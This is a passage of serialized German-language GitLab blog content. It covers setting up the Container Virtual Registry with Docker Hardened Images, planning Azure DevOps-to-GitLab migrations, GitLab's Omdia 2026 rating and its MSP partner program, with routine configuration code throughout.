usw.:\n\n```python\n\ndocker_upstream = client.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://registry-1.docker.io\",\n    name=\"Docker Hub\",\n    cache_validity_hours=24\n)\n\n```\n\n### Docker Hardened Images (dhi.io) hinzufügen\n\nDocker Hardened Images werden auf `dhi.io` gehostet – einer separaten Registry mit Authentifizierungspflicht:\n\n```python\n\ndhi_upstream = client.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://dhi.io\",\n    name=\"Docker Hardened Images\",\n    username=\"your-docker-username\",\n    password=\"your-docker-access-token\",\n    cache_validity_hours=24\n)\n\n```\n\n### Weitere Upstreams hinzufügen\n\n```python\n\n# MCR für .NET-Teams client.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://mcr.microsoft.com\",\n    name=\"Microsoft Container Registry\",\n    cache_validity_hours=48\n)\n# Quay für das Red-Hat-Ökosystem client.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://quay.io\",\n    name=\"Quay.io\",\n    cache_validity_hours=24\n)\n\n```\n\n### CI/CD aktualisieren\n\nEine `.gitlab-ci.yml`, die über die Virtual Registry pullt:\n\n```yaml\n\nvariables:\n  VIRTUAL_REGISTRY_ID: \u003Cyour_virtual_registry_ID>\n\n  \nbuild:\n  image: docker:24\n  services:\n    - docker:24-dind\n  before_script:\n    # Authentifizierung bei GitLab – Upstream-Auth wird übernommen\n    - echo \"${CI_JOB_TOKEN}\" | docker login -u gitlab-ci-token --password-stdin gitlab.com\n  script:\n    # Alle Pulls laufen über die zentrale Virtual Registry\n    \n    # Offizielle Docker Hub Images (library/-Präfix erforderlich)\n    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/library/alpine:latest\n    \n    # Docker Hardened Images von dhi.io (kein Präfix nötig)\n    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/python:3.13\n    \n    # .NET von MCR\n    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/dotnet/sdk:8.0\n\n\n```\n\n### Image-Pfadformate\n\nVerschiedene Registries verwenden unterschiedliche Pfadkonventionen:\n\n| Registry | Beispiel-Pull-URL |\n|----------|-------------------|\n| Docker Hub (offiziell) | `.../library/python:3.11-slim` |\n| Docker Hardened Images (dhi.io) | `.../python:3.13` |\n| MCR | `.../dotnet/sdk:8.0` |\n| Quay.io | `.../prometheus/prometheus:latest` |\n\n### Funktionsprüfung\n\nNach einigen Pulls lässt sich der Cache überprüfen:\n\n```python\n\nupstreams = client.list_registry_upstreams(registry['id']) for upstream in upstreams:\n    entries = client.list_cache_entries(upstream['id'])\n    print(f\"{upstream['name']}: {len(entries)} cached entries\")\n\n\n```\n\n## Messergebnisse\n\nTestergebnisse beim Pullen über die Virtual Registry:\n\n| Messgröße | Ohne Cache | Mit warmem Cache |\n|-----------|------------|-----------------|\n| Pull-Zeit (Alpine) | 10,3 s | 4,2 s |\n| Pull-Zeit (Python 3.13 DHI) | 11,6 s | ~4 s |\n| Netzwerk-Roundtrips zum Upstream | Jeder Pull | Nur Cache-Misses |\n\nDer erste Pull hat dieselbe Dauer – das Image muss vom Upstream geladen werden. Jeder weitere Pull innerhalb der Cache-Gültigkeitsdauer kommt direkt aus GitLab-Storage: kein Netzwerk-Hop zu Docker Hub, dhi.io, MCR oder einer anderen Registry.\n\nBei Teams mit vielen Pipeline-Jobs pro Tag summiert sich das zu einem messbaren Gewinn bei den Build-Laufzeiten.\n\n## Praktische Hinweise\n\n### Cache-Gültigkeit\n\nDer Standard sind 24 Stunden. Für sicherheitskritische Images, bei denen Patches schnell verfügbar sein sollen, empfiehlt sich ein kürzeres Intervall:\n\n```python\n\nclient.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://dhi.io\",\n    name=\"Docker Hardened Images\",\n    username=\"your-username\",\n    password=\"your-token\",\n    cache_validity_hours=12\n)\n\n```\n\nFür stabile Images mit fixen Versions-Tags ist ein längeres Intervall problemlos.\n\n### Upstream-Priorität\n\nUpstreams werden der Reihe nach geprüft. Bei gleichnamigen Images in verschiedenen Registries gewinnt der erste passende Upstream.\n\n### Limits\n\n- Maximal 20 Virtual Registries pro Gruppe\n- Maximal 20 Upstreams pro Virtual Registry\n\n## Konfiguration über die Oberfläche\n\nVirtual Registries und Upstreams lassen sich auch direkt in der GitLab-Oberfläche einrichten – ohne API-Aufrufe. Unter **Einstellungen > Pakete und Registries > Virtual Registry** der jeweiligen Gruppe stehen folgende Optionen zur Verfügung:\n\n- Virtual Registries erstellen und verwalten\n- Upstreams hinzufügen, bearbeiten und neu anordnen\n- Cache anzeigen und verwalten\n- Überblick, welche Images abgerufen werden\n\n## Ausblick\n\nIn Entwicklung:\n\n- **Allow/Deny-Listen**: Regex-basierte Steuerung, welche Images aus welchen Upstreams abgerufen werden dürfen.\n\nContainer Virtual Registry befindet sich in der Beta-Phase. Die Funktion wird produktiv eingesetzt und wird weiterentwickelt – Feedback fließt direkt in die Priorisierung ein.\n\n## Feedback\n\nWer als Plattformteam mit Registry-Wildwuchs zu kämpfen hat: Ich möchte verstehen, wie die aktuelle Situation aussieht.\n\n- Wie viele Upstream-Registries werden verwaltet?\n- Wo liegt der größte Schmerzpunkt?\n- Würde ein solcher Ansatz helfen – und falls nicht: Was fehlt?\n\nErfahrungen und Rückmeldungen gerne im [Container Virtual Registry Feedback-Issue](https://gitlab.com/gitlab-org/gitlab/-/work_items/589630) teilen.\n\n## Weiterführende Ressourcen\n\n- [Neue GitLab-Metriken und Registry-Funktionen zur Optimierung von CI/CD-Pipelines](https://about.gitlab.com/de-de/blog/new-gitlab-metrics-and-registry-features-help-reduce-ci-cd-bottlenecks/)\n- [Container Virtual Registry – Dokumentation](https://docs.gitlab.com/user/packages/virtual_registry/container/)\n- [Container Virtual Registry – API](https://docs.gitlab.com/api/container_virtual_registries/)\n\n## Für deutsche Unternehmen könnte dies folgende Themen betreffen\n\nTeams, die sicherheitsgehärtete Base-Images mit vollständigen SBOMs und SLSA-Provenance einsetzen, haben möglicherweise auch Compliance-Überlegungen – beispielsweise in Bereichen wie Sicherheit der Software-Lieferkette, Nachvollziehbarkeit von Image-Abhängigkeiten und zentralem Audit-Trail.\n\nRegulatorische Frameworks wie NIS2 und der Cyber Resilience Act adressieren ähnliche Themen rund um Software-Lieferketten und SBOM-Transparenz. Für konkrete Compliance-Anforderungen empfiehlt sich Rücksprache mit entsprechender Fachberatung.",[905,786,828],{"featured":687,"template":836,"slug":1048},"using-gitlab-container-virtual-registry-with-docker-hardened-images",{"content":1050,"config":1061},{"category":749,"tags":1051,"body":1053,"date":1054,"heroImage":1055,"authors":1056,"title":1059,"description":1060},[905,1052,89],"git","Enterprise-Migrationen in regulierten Branchen wie Finanzwesen und Automobilindustrie erfordern systematisches Risikomanagement gemäß NIS2-Richtlinie Artikel 21. Die mehrstufige Migrationsstruktur mit Testläufen vor Produktions-Wellen und kontrollierten Change-Freezes demonstriert Business-Continuity-Management in der Praxis. GitLab Professional Services organisiert Migrationen in Wellen von 200-300 Projekten, um Komplexität zu managen und API-Rate-Limits zu respektieren.\n\n## Überblick\n\nGitLab bietet [Congregate](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/) (maintained by GitLab Professional Services) und [eingebauten Git-Repository-Import](https://docs.gitlab.com/user/project/import/repo_by_url/) für Migrationen von Azure DevOps (ADO). Beide Optionen unterstützen Repository-basierte oder Bulk-Migration und erhalten Git-Commit-History, Branches und Tags. Mit Congregate werden zusätzliche Assets wie Wikis, Work Items, CI/CD-Variablen, Container-Images, Packages und Pipelines migriert (siehe [Feature-Matrix](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/ado-migration-features-matrix.md)).\n\nEnterprises folgen typischerweise einem mehrstufigen Ansatz:\n\n- Repositories von ADO zu GitLab migrieren (Congregate oder eingebauter Import)\n- Pipelines von Azure Pipelines zu GitLab CI/CD migrieren\n- Verbleibende Assets wie Boards, Work Items und Artifacts zu GitLab Issues, Epics und Package/Container Registries migrieren\n\nMehrstufige Migrationsphasen (siehe [Diagramm](https://about.gitlab.com/blog/migration-from-azure-devops-to-gitlab/#overview)):\n\n- Prerequisites (IdP, Runners, Change Management)\n- Migration Phase (Source Code, History, Work Items)\n- Post-Migration (Pipelines, Assets, Security)\n\n## Migration planen\n\n**Zentrale Planungsfragen:**\n\n- Wie schnell muss die Migration abgeschlossen werden?\n- Was genau wird migriert?\n- Wer führt die Migration durch?\n- Welche Organisationsstruktur wird in GitLab benötigt?\n- Welche Einschränkungen, Limitierungen oder Fallstricke müssen berücksichtigt werden?\n\nDie Timeline bestimmt weitgehend den Migrationsansatz. Identifizierung von Champions oder Teams mit ADO- und GitLab-Erfahrung unterstützt Adoption und Guidance.\n\n**Inventar erstellen:**\n\nDas GitLab Professional Services [Evaluate](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate#beta-azure-devops)-Tool produziert ein vollständiges Inventar der Azure DevOps Organisation: Repositories, PR-Counts, Contributors, Pipelines, Work Items, CI/CD-Variablen. Bei Professional Services Engagements wird dieser Report mit Engagement Manager oder Technical Architect geteilt für Migrationsplanung.\n\nMigrations-Timing wird primär bestimmt durch Pull-Request-Count, Repository-Größe und Contribution-Menge. Beispiel: 1.000 kleine Repositories mit wenigen PRs migrieren schneller als wenige Repositories mit Zehntausenden PRs. Inventar-Daten ermöglichen Aufwands-Schätzung und Test-Run-Planung.\n\nIn Professional Services Engagements werden Migrationen in Wellen von 200-300 Projekten organisiert, um Komplexität zu managen und API-Rate-Limits zu respektieren (sowohl [GitLab](https://docs.gitlab.com/security/rate_limits/) als auch [ADO](https://learn.microsoft.com/en-us/azure/devops/integrate/concepts/rate-limits?view=azure-devops)).\n\n**Tool-Auswahl:**\n\nGitLabs [eingebauter Repository-Importer](https://docs.gitlab.com/user/project/import/repo_by_url/) migriert Git-Repositories (Commits, Branches, Tags) einzeln. Congregate erhält Pull Requests (in GitLab: Merge Requests), Kommentare und Metadata; der eingebaute Import fokussiert auf Git-Daten (History, Branches, Tags).\n\nAssets die typischerweise separate Migration oder manuelle Neuerstellung erfordern:\n\n- Azure Pipelines → GitLab CI/CD Pipelines (siehe [CI/CD YAML](https://docs.gitlab.com/ci/yaml/) oder [CI/CD Components](https://docs.gitlab.com/ci/components/)). Alternativ: AI-basierte Pipeline-Konvertierung in Congregate.\n- Work Items und Boards → GitLab Issues, Epics, Issue Boards\n- Artifacts, Container-Images (ACR) → GitLab Package/Container Registry\n- Service Hooks, externe Integrationen → in GitLab neu erstellen\n\n[Permissions-Modelle](https://docs.gitlab.com/user/permissions/) unterscheiden sich zwischen ADO und GitLab. Permissions-Mapping planen statt exakter Preservation zu erwarten.\n\n**Organisationsstruktur in GitLab:**\n\nEmpfohlener Ansatz: ADO-Organisationen auf GitLab-Groups mappen (nicht viele kleine Groups). Migration als Gelegenheit nutzen, GitLab-Struktur zu rationalisieren (siehe [Struktur-Diagramm](https://about.gitlab.com/blog/migration-from-azure-devops-to-gitlab/#planning-your-migration)):\n\n- **ADO Organization** → GitLab Top-level Group\n- **ADO Project** → GitLab Subgroup (optional)\n- **ADO Repository** → GitLab Project\n\nWeitere Empfehlungen:\n\n- Subgroups und Project-Level-Permissions für verwandte Repositories nutzen\n- Zugriff über GitLab Groups und Group-Membership managen\n- GitLab [Permissions](https://docs.gitlab.com/user/permissions/) und [SAML Group Links](https://docs.gitlab.com/user/group/saml_sso/group_sync/) für Enterprise-RBAC-Modell evaluieren\n\n**ADO Work Items Migration:**\n\nADO Boards und Work Items mappen zu GitLab Issues, Epics und Issue Boards. ADO Epics und Features werden GitLab Epics. Andere Work-Item-Typen (User Stories, Tasks, Bugs) werden project-scoped Issues. Standard-Felder bleiben erhalten; ausgewählte Custom Fields können migriert werden. Parent-Child-Relationships bleiben erhalten. Links zu Pull Requests werden zu Merge-Request-Links konvertiert.\n\n![Migration eines Work Items zu GitLab Issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764769188/ztesjnxxfbwmfmtckyga.png)\n\n**Pipelines-Migration:**\n\nCongregate bietet [AI-basierte Konvertierung](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/merge_requests/1298) für multi-stage YAML-Pipelines von Azure DevOps zu GitLab CI/CD. Die automatisierte Konvertierung funktioniert optimal für einfache Single-File-Pipelines und liefert einen funktionalen Ausgangspunkt, nicht ein produktionsreifes `.gitlab-ci.yml`-File. Das Tool generiert funktional äquivalente GitLab-Pipelines zur weiteren Optimierung.\n\n- Konvertiert Azure Pipelines YAML zu `.gitlab-ci.yml` automatisch\n- Geeignet für straightforward Single-File-Pipeline-Konfigurationen\n- Liefert Boilerplate zur Migrations-Beschleunigung, nicht finales Production-Artifact\n- Erfordert Review und Anpassung für komplexe Szenarien, Custom Tasks oder Enterprise-Requirements\n- Unterstützt keine Azure DevOps Classic Release Pipelines\n\nRepository-Owner sollten [GitLab CI/CD Dokumentation](https://docs.gitlab.com/ci/) konsultieren für weitere Pipeline-Optimierung nach initialer Konvertierung.\n\n## Migrationen durchführen\n\nNach der Planung werden Migrationen in Stages durchgeführt, beginnend mit Trial Runs. Trial Migrations identifizieren organisations-spezifische Issues frühzeitig und ermöglichen Duration-Messung, Outcome-Validierung und Approach-Finetuning vor Production.\n\n**Was Trial Migrations validieren:**\n\n- Ob Repository und Assets erfolgreich migrieren (History, Branches, Tags; plus MRs/Comments bei Congregate)\n- Ob Destination sofort nutzbar ist (Permissions, Runners, CI/CD-Variablen, Integrationen)\n- Wie lange jeder Batch benötigt für Schedule- und Stakeholder-Expectations\n\n**Downtime-Guidance:**\n\nGitLabs eingebauter Git-Import und Congregate erfordern inhärent keine Downtime. Für Production-Wellen: Changes in ADO freezen (Branch-Protections oder Read-only), um verpasste Commits, PR-Updates oder mid-migration Work Items zu vermeiden. Trial Runs erfordern keine Freezes.\n\n**Batching-Guidance:**\n\nTrial-Batches back-to-back durchführen für kürzere elapsed Time. Teams validieren Results asynchron. Geplante Group/Subgroup-Struktur für Batch-Definition nutzen und API-Rate-Limits respektieren.\n\n**Empfohlene Schritte:**\n\n1. Test-Destination in GitLab erstellen (GitLab.com: dedicated Group/Namespace; Self-managed: Top-level Group)\n2. Authentication vorbereiten (Azure DevOps PAT, GitLab Personal Access Token mit api und read_repository Scopes)\n3. Trial Migrations durchführen (Repos only: eingebauter Import; Repos + PRs/MRs: Congregate)\n4. Post-Trial Follow-up (Repo-History, Branches, Tags, Merge Requests, Issues/Epics, Labels, Relationships verifizieren)\n5. Permissions/Roles, Protected Branches, Runners/Tags, Variables/Secrets, Integrations/Webhooks prüfen\n6. Pipelines (`.gitlab-ci.yml`) oder konvertierte Pipelines validieren\n7. User-Validierung für Functionality und Data-Fidelity\n8. Production-Migrationen in Waves durchführen (Change-Freezes in ADO erzwingen, Progress und Logs monitoren)\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ibIXGfrVbi4?si=ZxOVnXjCF-h4Ne0N\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n## Zentrale ADO-zu-GitLab-Mappings\n\nWichtigste Struktur-Mappings für Migrationsplanung:\n\n- **ADO Organization** → GitLab Group (Top-level Namespace)\n- **ADO Project** → GitLab Group oder Subgroup (Permissions-Boundary)\n- **ADO Repository** → GitLab Project (Git-Repo plus Issues, CI/CD, Wiki)\n- **Pull Request** → Merge Request (Code Review, Approvals)\n- **Azure Pipelines** → GitLab CI/CD (`.gitlab-ci.yml`)\n- **Agent Pools** → GitLab Runners (Job-Execution)\n- **Work Items** → GitLab Issues/Epics (Planning-Funktionalität)\n- **Variable Groups** → CI/CD Variables (Project/Group/Instance Level)\n\nFür vollständige Terminologie-Referenztabelle mit allen Mappings siehe [englische Originalversion](https://about.gitlab.com/blog/migration-from-azure-devops-to-gitlab/).\n\n## Professional Services Migrationsmuster\n\nGitLab Professional Services nutzt bewährte Muster für Enterprise-Migrationen:\n\n**Systematische Planung:** Evaluate-Tool liefert vollständiges Inventar (Repositories, PRs, Contributors, Pipelines, Work Items). Klassifikation nach Komplexität (Work Items = Planning-Team-Involvement; Pipelines = Conversion-Requirements) ermöglicht Timeline-Schätzung und Batch-Definition.\n\n**Controlled Execution:** Wellen von 200-300 Projekten managen Komplexität und respektieren API-Rate-Limits. Trial-Migrationen vor Production-Waves identifizieren Issues frühzeitig. Change-Freezes in ADO während Production-Wellen vermeiden mid-migration Updates.\n\n**Risikominimierung:** Multi-Phase-Ansatz (Prerequisites → Migration → Post-migration) mit Validierungs-Checkpoints an jeder Phase. Trial-Runs ermöglichen asynchrone Team-Validierung ohne Production-Impact.\n\n## Praktische Implementierung\n\nFür vollständige Implementierungsdetails, Konfigurationsbeispiele, Pipeline-Konvertierungs-Patterns und detaillierte Post-Migration-Checklisten siehe [englische Originalversion](https://about.gitlab.com/blog/migration-from-azure-devops-to-gitlab/).\n\nWeitere Professional Services Ressourcen:\n\n- [Professional Services Full Catalog](https://about.gitlab.com/professional-services/catalog/)\n- [Congregate Migration Tool](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/)\n- [Evaluate Inventory Tool](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate)\n","2025-12-03","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658924/Blog/Hero%20Images/securitylifecycle-light.png",[1057,1058],"Evgeny Rudinsky","Michael Leopard","Migration von Azure DevOps zu GitLab systematisch planen","Professional Services Migrationsansatz mit mehrstufiger Struktur, 200-300 Projekt-Wellen und systematischem Risikomanagement für Enterprise-Migrationen.",{"featured":13,"template":836,"slug":1062},"migration-from-azure-devops-to-gitlab",{"category":763,"slug":761,"posts":1064},[1065,1078,1090],{"content":1066,"config":1076},{"title":1067,"description":1068,"authors":1069,"heroImage":1071,"body":1072,"date":1073,"category":761,"tags":1074},"GitLab als Leader im Omdia Universe 2026 ausgezeichnet","Der Omdia-Bericht 2026 zur KI-gestützten Softwareentwicklung hat 19 Anbieter bewertet. Was GitLabs Spitzenbewertungen für Entwicklungsteams bedeuten.",[1070],"Rebecca Carter","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774465167/n5hlvrsrheadeccyr1oz.png","GitLab wurde als Leader im Omdia Universe 2026 für KI-gestützte Softwareentwicklung (IDE-basierte Tools) ausgezeichnet. Von den neunzehn Anbietern, die das unabhängige Analystenhaus bewertet hat, erzielte GitLab Spitzenwerte in drei Kategorien: Solution Breadth (100 %), Strategy and Innovation (88 %) und Core Features (82 %). Für Extended Features und Vendor Execution folgen ebenfalls erstklassige Bewertungen.\n\nDie diesjährige Bewertung ist aus einem konkreten Grund bemerkenswert: Omdia hat die Bewertungskriterien erweitert und erstmals KI-Entwicklungstools nach ihrer Abdeckung des gesamten Software-Lifecycles bewertet – nicht nur nach Programmierfähigkeiten. Dieser Wandel spiegelt die aktuelle Entwicklung im KI-Bereich wider und hat die Rangfolge der Anbieter neu geordnet.\n\n![Omdia Universe chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775848262/asyd6bpbtwlhicqonhit.png \"Source: Omdia, Universe: AI-assisted Software Development, Part 1: IDE-based Tools, 2026\")\n\n> [Den vollständigen Omdia Universe Report herunterladen.](https://learn.gitlab.com/c/analyst-omdia-ai?x=fRC1cQ)\n\n\n## Über Omdia Universe\n\n\nDas Omdia Universe ordnet Anbieter nach Solution Capability sowie Strategy and Execution in drei Kategorien ein: Leaders (stärkste Positionierung auf beiden Achsen, für jede Shortlist empfohlen), Challengers (geringerer Funktionsumfang oder geringere Reife) und Prospects (frühe Phase oder angrenzende Anwendungsbereiche).\n\n\n## Was ist in der diesjährigen Bewertung anders?\n\n\nDie Erweiterung der Omdia-Kriterien spiegelt wider, was Entwicklungsteams in der Praxis bereits erleben. KI-Programmierwerkzeuge haben die Entwicklerleistung deutlich gesteigert, und Anwendungen, deren Entwicklung früher Wochen dauerte, lassen sich heute in einem Bruchteil der Zeit als Prototyp umsetzen. Beschleunigung beim Programmieren führt jedoch nicht automatisch zu schnellerer Auslieferung. Review-Backlogs wachsen. Sicherheitsbefunde häufen sich an. Deployments erfordern weiterhin die Koordination zwischen Teams, die mit Tools arbeiten, die nicht aufeinander abgestimmt wurden.\n\nOmdia hat diese Dynamik direkt erfasst: Die Plattformen, die sich absetzen, decken Testing, Security, Deployment und Orchestrierung ab – nicht nur Code-Generierung. Dieser Befund war ausschlaggebend für die Erweiterung der Bewertungskriterien und hat Leaders von Challengers unterschieden.\n\nEine weitere wesentliche Neuerung in diesem Jahr betrifft die Behandlung von agentischer KI. Die Bewertung 2026 gewichtet agentische Fähigkeiten als aktuelle Bewertungsdimension – nicht als Zukunftsperspektive. Berücksichtigt wird dabei, ob eine Plattform mehrere Aufgaben autonom koordinieren, Übergaben zwischen spezialisierten Agenten orchestrieren und Teams in unterschiedlichen Phasen der Agentenadoption unterstützen kann.\n\n\n## GitLabs Bewertungen im Überblick\n\n\nGitLab erzielte Spitzenwerte in drei Kategorien:\n\n**Solution Breadth: 100 %.** Diese Kategorie bewertet, wie viele Phasen des Software-Lifecycles eine Plattform abdeckt. GitLab erzielt hier den Höchstwert: Die Plattform deckt den gesamten SDLC ab – von Planung und Anforderungen bis zu Deployment und Issue-Management, einschließlich Lifecycle-Phasen, die die meisten KI-Programmierwerkzeuge nicht erreichen. Vorgefertigte Agenten wie [Planner Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) und [Security Analyst Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) erweitern die KI-Unterstützung auf Sprint-Planung, Vulnerability-Triage und Behebungsempfehlungen – genau die Bereiche des Lifecycles, in denen Auslieferungen ins Stocken geraten.\n\n**Strategy and Innovation: 88 %.** Hier bewertet Omdia, wie Anbieter ihre Plattform langfristig positionieren und weiterentwickeln. GitLab differenziert durch End-to-End-Orchestrierung, Privacy-first-Architektur ohne Training auf privaten Daten und Multi-Modell-Unterstützung durch Partnerschaften mit Anthropic, Google und AWS. Teams können Modelle je nach Workload und Datenanforderungen auswählen. Der Ansatz der Plattform für einheitlichen Kontext – bei dem Agenten übergreifend an Issues, Merge Requests, Pipelines und Security-Findings zusammenarbeiten, ohne den Zustand zu verlieren – steht beispielhaft für die architektonische Innovation, die Omdia in dieser Kategorie bewertet hat.\n\n**Core Features: 82 %.** Diese Kategorie erfasst die Tiefe der Kernfunktionen, auf die Entwicklungsteams im Tagesgeschäft angewiesen sind. Code wird mit Echtzeit-Kontext aus IDE und Codebase generiert, über Unit-, Integrations- und Security-Dimensionen getestet und mit integrierter Priorisierung reviewt. Die DevOps-Automatisierung übernimmt CI/CD, GitOps und [Root-Cause-Analyse](https://docs.gitlab.com/user/gitlab_duo_chat/examples/#troubleshoot-failed-cicd-jobs-with-root-cause-analysis) bei Pipeline-Fehlern. Das [AI Impact Dashboard](https://docs.gitlab.com/user/analytics/duo_and_sdlc_trends/) bietet Teams messbare Transparenz über Cycle Times, Deployment-Frequenz und die tatsächlichen Auswirkungen von KI auf die Produktivität.\n\nFür Extended Features (80 %) und Vendor Execution (88 %) erhielt GitLab ebenfalls erstklassige Bewertungen.\n\n\n## Die veränderte Rolle von Entwicklungsteams und KI-Agenten\n\n\nZu den substanziellen Erkenntnissen des Omdia-Berichts gehört die sich verändernde Rolle der Softwareentwicklung neben diesen Werkzeugen. Entwicklungsteams bestehen zunehmend aus KI-Ingenieuren und ihren KI-Agenten, wobei die Ingenieure die agentische KI überwachen und steuern. Da KI-Codierung den Großteil des Codes generiert, verlagert sich die menschliche Arbeit darauf, sicherzustellen, dass technologische Anforderungen tatsächlich erfüllt werden, Qualität zu überwachen, geeignete Schutzmechanismen zu etablieren, autonome Produktionspipelines zu gestalten und zwischen Geschäftszielen und dem Einsatz agentischer KI im gesamten Software-Lifecycle zu vermitteln.\n\nDieser Wandel hat Auswirkungen darauf, wie Unternehmen ihre KI-Investitionen bewerten. Ein Team, das die Code-Generierung automatisiert hat, Review, Testing und Deployment aber weiterhin manuell abwickelt, hat die Softwareentwicklung noch nicht grundlegend beschleunigt. Der Produktivitätsgewinn durch schnelleres Programmieren verstärkt sich, wenn der übrige Lifecycle mithalten kann – und er schwindet, wenn er es nicht kann, da sich die Engpässe nur nachgelagert verschieben.\n\n\n## Enterprise-Anforderungen als Grundvoraussetzung\n\n\nBemerkenswert an der Struktur der diesjährigen Omdia-Bewertung: Enterprise-Kontrollen und Schutzmechanismen sind keine Bonuskategorie mehr. Compliance-Zertifizierungen, Deployment-Flexibilität und Datenschutzarchitektur gelten als Grundvoraussetzungen für Plattformen auf Leader-Niveau – nicht als Differenzierungsmerkmale. Unternehmen in regulierten Branchen und solche mit Datensouveränitätsanforderungen gewichten diese Faktoren bereits als Einstiegskriterien.\n\nGitLabs Positionierung in diesen Bereichen hebt sich im Markt ab: SOC 2- und ISO 27001-zertifizierte Plattform, [Privacy-first-Design](https://about.gitlab.com/de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/) ohne Training auf privaten Kundendaten für die agentischen KI-Fähigkeiten, Self-Managed-Deployment-Unterstützung für Cloud und On-Premises (einschließlich Air-Gapped-Umgebungen) sowie Unterstützung für selbstgehostete KI-Modelle. Die Nutzung als Single-Tenant-SaaS-Anwendung über GitLab Dedicated – mit FedRAMP Moderate Authorization über GitLab Dedicated for Government – ergänzt die Deployment-Flexibilität.\n\nDer Omdia-Bericht hat diese Eigenschaften nicht als Funktionsliste bewertet, sondern als Nachweis der Plattformreife für Unternehmen mit den höchsten Compliance-Anforderungen: Finanzdienstleistungen, öffentlicher Sektor, Gesundheitswesen und weitere regulierte Branchen, für die Datenhoheit und Auditierbarkeit nicht verhandelbar sind.\n\n\n## Reifegrad in der Softwareentwicklung einordnen\n\n\nFür Teams, die ihren KI-Entwicklungsansatz aktiv evaluieren, ist die Empfehlung von Omdia eindeutig: GitLab gehört auf jede Shortlist.\n\nDie entscheidendere Frage für Engineering-Verantwortliche ist nicht, welches KI-Werkzeug den besten Code generiert. Ausschlaggebend ist, ob der generierte Code mit dem erforderlichen Qualitäts-, Sicherheits- und Leistungsniveau in Produktion gebracht werden kann. Er muss von den verantwortlichen Teams verstanden, gesteuert und gewartet werden können. Mit GitLab überträgt sich die Geschwindigkeit beim Programmieren auf den gesamten Entwicklungsprozess.\n\nWer den Reifegrad der eigenen Organisation in der Softwareentwicklung einordnen möchte, erhält in den Assessments für [KI-Modernisierung](https://about.gitlab.com/de-de/assessments/ai-modernization-assessment/), [DevOps-Modernisierung](https://about.gitlab.com/de-de/assessments/devops-modernization-assessment/) und [Security-Modernisierung](https://about.gitlab.com/de-de/assessments/security-modernization-assessment/) eine personalisierte Bewertung und konkrete nächste Schritte.\n\n[Den vollständigen Omdia Universe Report herunterladen.](https://learn.gitlab.com/c/analyst-omdia-ai?x=fRC1cQ)\n","2026-04-13",[1075,548,863,761],"research",{"featured":13,"template":836,"slug":1077},"gitlab-named-a-2026-omdia-universe-leader",{"content":1079,"config":1088},{"title":1080,"description":1081,"authors":1082,"heroImage":1084,"date":1085,"body":1086,"category":761,"tags":1087},"Das GitLab Managed Service Provider (MSP) Partner-Programm","Mit GitLab ein rentables, serviceorientiertes DevSecOps-Angebot aufbauen.",[1083],"Karishma Kumar","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772047747/ntihfmnu2fepamqemaas.png","2026-02-26","*Dieser Beitrag richtet sich an Managed Service Provider (MSPs), die ein GitLab-Serviceangebot aufbauen möchten. Für Entwicklungsteams und Engineering-Leads gilt: Dies ist das Programm, das Partner stärkt, welche Teams wie deines beim Skalieren unterstützen.*\n\nViele Unternehmen wissen, dass sie eine moderne DevSecOps-Plattform benötigen. Was ihnen oft fehlt, sind die Kapazitäten, eine solche Plattform bereitzustellen, zu betreiben und kontinuierlich zu optimieren – und gleichzeitig Software im Tempo der Geschäftsanforderungen zu liefern. Für MSPs ist das eine konkrete Chance, und GitLab stellt jetzt ein definiertes Programm zur Verfügung, um sie dabei zu unterstützen.\n\nVorgestellt wird das **GitLab MSP Partner-Programm** – ein neues globales Programm, das qualifizierten MSPs ermöglicht, GitLab als vollständig verwalteten Service für ihre Kunden bereitzustellen.\n\n## Was das für Partner und Kunden bedeutet\n\nGitLab bietet erstmals ein formal definiertes, global verfügbares Programm, das speziell für MSPs entwickelt wurde. Das bedeutet klare Anforderungen, strukturierte Enablement-Maßnahmen, dedizierten Support und finanzielle Vorteile – damit Partner sicher in den Aufbau einer GitLab Managed Services-Praxis investieren können.\n\nDer Zeitpunkt ist günstig. Unternehmen treiben ihre DevSecOps-Transformation voran, navigieren dabei jedoch oft komplexe Migrationen, fragmentierte Toolchains und wachsende Sicherheitsanforderungen – zusätzlich zu ihrer Kernaufgabe, Software zu entwickeln und auszuliefern.\n\nGitLab MSP-Partner übernehmen den operativen Betrieb der Plattform, einschließlich Deployment, Migration, Administration und laufendem Support, damit sich Entwicklungsteams auf ihre eigentliche Arbeit konzentrieren können.\n\n## Was MSP-Partner erhalten\n\n**Finanzielle Vorteile**: MSP-Partner erzielen GitLab Partner-Margen zuzüglich einer zusätzlichen MSP-Prämie auf alle Transaktionen, Neugeschäfte und Verlängerungen. 100 % der Servicegebühren für Deployment, Migration, Training, Enablement und strategische Beratung verbleiben beim Partner. Das ergibt mehrere wiederkehrende Einnahmequellen rund um eine einzige Plattform.\n\n**Enablement und Weiterbildung**: Partner haben Zugang zu vierteljährlichen technischen Bootcamps, die Versions-Updates, neue Funktionen, Best Practices, laufende Roadmap-Updates und Peer-Sharing abdecken. Empfohlene Cloud-Zertifizierungen (AWS Solutions Architect Associate, GCP Associate Cloud Engineer) ergänzen die technische 